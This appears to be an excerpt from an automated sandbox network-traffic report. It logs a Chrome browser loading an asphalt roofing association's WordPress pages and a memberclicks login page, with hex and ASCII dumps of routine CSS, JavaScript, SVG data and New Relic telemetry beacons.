2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c Data Ascii: rder-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-l
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 69 6e 65 64 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6a 73 5f 63 6f 6d 70 6f 73 65 72 5f 66 72 6f 6e 74 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6a 73 5f 63 6f 6d 70 6f 73 65 72 2f 61 73 73 65 74 73 2f 63 73 73 2f 6a 73 5f 63 6f 6d 70 6f 73 65 72 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 Data Ascii: ined.min.css?ver=6' type='text/css' media='all' /><link rel='stylesheet' id='js_composer_front-css' href='https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=6.1' type='text/css' media='all' /><link rel='sty
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 2e 6c 65 6e 67 74 68 29 2c 0d 0a 09 09 09 09 09 09 69 78 20 3d 20 30 2c 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 73 6c 3b 09 09 09 09 09 0d 0a 09 09 09 09 09 65 2e 74 61 62 77 20 3d 20 65 2e 74 61 62 68 69 64 65 3e 3d 70 77 20 3f 20 30 20 3a 20 65 2e 74 61 62 77 3b 0d 0a 09 09 09 09 09 65 2e 74 68 75 6d 62 77 20 3d 20 65 2e 74 68 75 6d 62 68 69 64 65 3e 3d 70 77 20 3f 20 30 20 3a 20 65 2e 74 68 75 6d 62 77 3b 0d 0a 09 09 09 09 09 65 2e 74 61 62 68 20 3d 20 65 2e 74 61 62 68 69 64 65 3e 3d 70 77 20 3f 20 30 20 3a 20 65 2e 74 61 62 68 3b 0d 0a 09 09 09 09 09 65 2e 74 68 75 6d 62 68 20 3d 20 65 2e 74 68 75 6d 62 68 69 64 65 3e 3d 70 77 20 3f 20 30 20 3a 20 65 2e 74 68 75 6d 62 68 3b 09 09 09 09 09 0d 0a 09 09 09 09 09 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: .length),ix = 0,sl;e.tabw = e.tabhide>=pw ? 0 : e.tabw;e.thumbw = e.thumbhide>=pw ? 0 : e.thumbw;e.tabh = e.tabhide>=pw ? 0 : e.tabh;e.thumbh = e.thumbhide>=pw ? 0 : e.thumbh;for (var i in
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 3c 66 69 6c 74 65 72 20 69 64 3d 22 77 70 2d 64 75 6f 74 6f 6e 65 2d 62 6c 75 65 2d 6f 72 61 6e 67 65 22 3e 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 74 79 70 65 3d 22 6d 61 74 72 69 78 22 20 76 61 6c 75 65 73 3d 22 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 22 20 2f 3e 3c 66 65 43 6f 6d 70 6f 6e 65 6e 74 54 72 61 6e 73 66 65 72 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 3e 3c 66 65 46 75 6e 63 52 20 Data Ascii: <filter id="wp-duotone-blue-orange"><feColorMatrix color-interpolation-filters="sRGB" type="matrix" values=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 " /><feComponentTransfer color-interpolation-filters="sRGB" ><feFuncR
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 31 33 37 35 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 72 65 73 6f 75 72 63 65 73 2f 66 61 73 74 2d 66 61 63 74 73 2f 22 3e 3c 73 70 61 6e 3e 46 61 73 74 20 46 61 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 31 34 34 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d Data Ascii: m menu-item-type-post_type menu-item-object-page menu-item-1375"><a href="https://www.asphaltroofing.org/resources/fast-facts/"><span>Fast Facts</span></a></li></ul></li><li id="menu-item-144" class="menu-item menu-item-type-post_type menu-item-object-
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 67 6e 5f 63 65 6e 74 65 72 20 76 63 5f 73 65 70 61 72 61 74 6f 72 5f 6e 6f 5f 74 65 78 74 20 76 63 5f 73 65 70 5f 63 6f 6c 6f 72 5f 67 72 65 79 22 20 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 63 5f 73 65 70 5f 68 6f 6c 64 65 72 20 76 63 5f 73 65 70 5f 68 6f 6c 64 65 72 5f 6c 22 3e 3c 73 70 61 6e 20 20 63 6c 61 73 73 3d 22 76 63 5f 73 65 70 5f 6c 69 6e 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 63 5f 73 65 70 5f 68 6f 6c 64 65 72 20 76 63 5f 73 65 70 5f 68 6f 6c 64 65 72 5f 72 22 3e 3c 73 70 61 6e 20 20 63 6c 61 73 73 3d 22 76 63 5f 73 65 70 5f 6c 69 6e 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 3c 68 34 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 36 38 36 64 37 65 3b 74 Data Ascii: gn_center vc_separator_no_text vc_sep_color_grey" ><span class="vc_sep_holder vc_sep_holder_l"><span class="vc_sep_line"></span></span><span class="vc_sep_holder vc_sep_holder_r"><span class="vc_sep_line"></span></span></div><h4 style="color: #686d7e;t
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 31 36 2d 38 2e 36 30 35 2c 39 2e 37 36 37 2d 38 2e 31 36 31 53 33 31 32 2e 36 38 38 2c 34 38 2e 39 33 39 2c 33 31 32 2e 32 34 35 2c 35 33 2e 38 39 7a 20 4d 33 34 38 2e 31 30 31 2c 35 37 2e 31 30 31 20 63 2d 30 2e 34 34 33 2c 34 2e 39 35 31 2d 34 2e 38 31 36 2c 38 2e 36 30 35 2d 39 2e 37 36 37 2c 38 2e 31 36 31 63 2d 34 2e 39 35 31 2d 30 2e 34 34 33 2d 38 2e 36 30 35 2d 34 2e 38 31 36 2d 38 2e 31 36 31 2d 39 2e 37 36 37 63 30 2e 34 34 33 2d 34 2e 39 35 31 2c 34 2e 38 31 36 2d 38 2e 36 30 35 2c 39 2e 37 36 37 2d 38 2e 31 36 31 20 43 33 34 34 2e 38 39 31 2c 34 37 2e 37 37 37 2c 33 34 38 2e 35 34 35 2c 35 32 2e 31 35 2c 33 34 38 2e 31 30 31 2c 35 37 2e 31 30 31 7a 20 4d 33 38 33 2e 39 35 38 2c 36 30 2e 33 31 32 63 2d 30 2e 34 34 33 2c 34 2e 39 35 31 2d 34 2e Data Ascii: 16-8.605,9.767-8.161S312.688,48.939,312.245,53.89z M348.101,57.101 c-0.443,4.951-4.816,8.605-9.767,8.161c-4.951-0.443-8.605-4.816-8.161-9.767c0.443-4.951,4.816-8.605,9.767-8.161 C344.891,47.777,348.545,52.15,348.101,57.101z M383.958,60.312c-0.443,4.951-4.
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 33 34 36 2e 39 31 32 2c 37 30 2e 30 34 37 2c 33 34 31 2e 39 36 32 2c 36 39 2e 36 30 33 7a 20 4d 33 37 37 2e 38 31 38 2c 37 32 2e 38 31 34 63 2d 34 2e 39 35 31 2d 30 2e 34 34 33 2d 38 2e 36 30 35 2d 34 2e 38 31 36 2d 38 2e 31 36 31 2d 39 2e 37 36 37 20 63 30 2e 34 34 33 2d 34 2e 39 35 31 2c 34 2e 38 31 36 2d 38 2e 36 30 35 2c 39 2e 37 36 37 2d 38 2e 31 36 31 63 34 2e 39 35 31 2c 30 2e 34 34 33 2c 38 2e 36 30 35 2c 34 2e 38 31 36 2c 38 2e 31 36 31 2c 39 2e 37 36 37 43 33 38 37 2e 31 34 32 2c 36 39 2e 36 30 34 2c 33 38 32 2e 37 36 39 2c 37 33 2e 32 35 38 2c 33 37 37 2e 38 31 38 2c 37 32 2e 38 31 34 7a 20 4d 34 31 33 2e 36 37 35 2c 37 36 2e 30 32 36 63 2d 34 2e 39 35 31 2d 30 2e 34 34 33 2d 38 2e 36 30 35 2d 34 2e 38 31 36 2d 38 2e 31 36 31 2d 39 2e 37 36 37 Data Ascii: 346.912,70.047,341.962,69.603z M377.818,72.814c-4.951-0.443-8.605-4.816-8.161-9.767 c0.443-4.951,4.816-8.605,9.767-8.161c4.951,0.443,8.605,4.816,8.161,9.767C387.142,69.604,382.769,73.258,377.818,72.814z M413.675,76.026c-4.951-0.443-8.605-4.816-8.161-9.767

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.6	49953	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	815	OUT	POST /jserrors/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=10040&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 909 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	909	OUT	Data Raw: 7b 22 73 6d 22 3a 5b 7b 22 70 61 72 61 6d 73 22 3a 7b 22 6e 61 6d 65 22 3a 22 47 65 6e 65 72 69 63 2f 4c 6f 61 64 65 72 54 79 70 65 2f 70 72 6f 2f 44 65 74 65 63 74 65 64 22 7d 2c 22 73 74 61 74 73 22 3a 7b 22 63 22 3a 31 7d 7d 2c 7b 22 70 61 72 61 6d 73 22 3a 7b 22 6e 61 6d 65 22 3a 22 47 65 6e 65 72 69 63 2f 44 69 73 74 4d 65 74 68 6f 64 2f 43 44 4e 2f 44 65 74 65 63 74 65 64 22 7d 2c 22 73 74 61 74 73 22 3a 7b 22 63 22 3a 31 7d 7d 2c 7b 22 70 61 72 61 6d 73 22 3a 7b 22 6e 61 6d 65 22 3a 22 47 65 6e 65 72 69 63 2f 52 75 6e 74 69 6d 65 2f 42 72 6f 77 73 65 72 2f 44 65 74 65 63 74 65 64 22 7d 2c 22 73 74 61 74 73 22 3a 7b 22 63 22 3a 31 7d 7d 2c 7b 22 70 61 72 61 6d 73 22 3a 7b 22 6e 61 6d 65 22 3a 22 46 72 61 6d 65 77 6f 72 6b 2f 41 6e 67 75 6c 61 72 2f Data Ascii: {"sm":[{"params":{"name":"Generic/LoaderType/pro/Detected"},"stats":{"c":1}},{"params":{"name":"Generic/DistMethod/CDN/Detected"},"stats":{"c":1}},{"params":{"name":"Generic/Runtime/Browser/Detected"},"stats":{"c":1}},{"params":{"name":"Framework/Angular/
2024-04-23 14:54:08 UTC	364	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:08 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130027-PDK
2024-04-23 14:54:08 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.6	49956	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	822	OUT	POST /jserrors/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=10040&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&pve=1 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 1058 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	1058	OUT	Data Raw: 7b 22 65 72 72 22 3a 5b 7b 22 70 61 72 61 6d 73 22 3a 7b 22 73 74 61 63 6b 48 61 73 68 22 3a 31 37 37 38 36 39 30 30 35 32 2c 22 65 78 63 65 70 74 69 6f 6e 43 6c 61 73 73 22 3a 22 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 22 2c 22 72 65 71 75 65 73 74 5f 75 72 69 22 3a 22 2f 6c 6f 67 69 6e 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 52 61 76 65 6e 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 2c 22 73 74 61 63 6b 5f 74 72 61 63 65 22 3a 22 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 3a 20 52 61 76 65 6e 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 5c 6e 20 20 20 20 61 74 20 3c 69 6e 6c 69 6e 65 3e 3a 32 32 35 3a 37 22 2c 22 72 65 6c 65 61 73 65 49 64 73 22 3a 22 7b 7d 22 2c 22 70 61 67 65 76 69 65 77 22 3a 31 2c 22 66 69 72 73 74 4f 63 63 75 72 72 65 6e 63 65 Data Ascii: {"err":[{"params":{"stackHash":1778690052,"exceptionClass":"ReferenceError","request_uri":"/login","message":"Raven is not defined","stack_trace":"ReferenceError: Raven is not defined\n at <inline>:225:7","releaseIds":"{}","pageview":1,"firstOccurrence
2024-04-23 14:54:08 UTC	364	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:08 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130086-PDK
2024-04-23 14:54:08 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.6	49954	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	812	OUT	POST /events/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=10041&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 90 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	90	OUT	Data Raw: 62 65 6c 2e 37 3b 32 2c 2c 35 62 79 2c 73 6c 2c 2c 2c 27 47 45 54 2c 35 6b 2c 27 61 72 6d 61 31 2e 6d 65 6d 62 65 72 63 6c 69 63 6b 73 2e 6e 65 74 3a 34 34 33 2c 27 2f 75 69 2d 6c 6f 67 69 6e 2f 76 31 2f 67 65 74 4f 72 67 4e 61 6d 65 2c 2c 33 36 2c 2c 27 30 2c 21 21 21 Data Ascii: bel.7;2,,5by,sl,,,'GET,5k,'arma1.memberclicks.net:443,'/ui-login/v1/getOrgName,,36,,'0,!!!
2024-04-23 14:54:08 UTC	364	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:08 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130063-PDK
2024-04-23 14:54:08 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.6	49955	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	868	OUT	POST /resources/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=10041&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&st=1713884036355&hr=0&fts=1713884036458&n=64&fsh=0 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 6902 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	6902	OUT	Data Raw: 7b 22 72 65 73 22 3a 5b 7b 22 6e 22 3a 22 6c 69 6e 6b 22 2c 22 73 22 3a 31 30 30 32 2c 22 65 22 3a 31 35 36 31 2c 22 6f 22 3a 22 68 74 74 70 73 3a 2f 2f 64 31 61 7a 63 31 71 6c 6e 32 34 72 79 66 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 3a 34 34 33 2f 32 35 38 34 2f 4d 43 46 72 6f 6e 74 45 6e 64 2f 73 74 79 6c 65 2d 63 66 2e 63 73 73 22 2c 22 74 22 3a 22 72 65 73 6f 75 72 63 65 22 7d 2c 7b 22 6e 22 3a 22 6c 69 6e 6b 22 2c 22 73 22 3a 31 30 30 32 2c 22 65 22 3a 31 35 36 37 2c 22 6f 22 3a 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 3a 34 34 33 2f 63 73 73 22 2c 22 74 22 3a 22 72 65 73 6f 75 72 63 65 22 7d 2c 7b 22 6e 22 3a 22 6c 69 6e 6b 22 2c 22 73 22 3a 31 30 30 39 2c 22 65 22 3a 31 35 39 36 2c 22 6f 22 3a 22 Data Ascii: {"res":[{"n":"link","s":1002,"e":1561,"o":"https://d1azc1qln24ryf.cloudfront.net:443/2584/MCFrontEnd/style-cf.css","t":"resource"},{"n":"link","s":1002,"e":1567,"o":"https://fonts.googleapis.com:443/css","t":"resource"},{"n":"link","s":1009,"e":1596,"o":"
2024-04-23 14:54:08 UTC	365	IN	HTTP/1.1 200 Connection: close Content-Length: 36 date: Tue, 23 Apr 2024 14:54:08 GMT content-type: text/plain cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130033-PDK
2024-04-23 14:54:08 UTC	36	IN	Data Raw: 31 33 39 63 32 36 66 64 2d 30 30 30 31 2d 62 61 32 39 2d 33 62 30 37 2d 30 31 38 66 30 62 37 33 32 61 62 37 Data Ascii: 139c26fd-0001-ba29-3b07-018f0b732ab7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.6	49957	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	578	OUT	GET /resources/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=9684&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&st=1713884036355&hr=0&fts=1713884036355&n=26&fsh=1 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:08 UTC	291	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:08 GMT content-type: image/gif access-control-allow-origin: * access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true x-served-by: cache-pdk-kfty2130021-PDK
2024-04-23 14:54:08 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.6	49950	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:08 UTC	977	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/about-arma/join/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
2024-04-23 14:54:08 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:08 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.6	49960	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
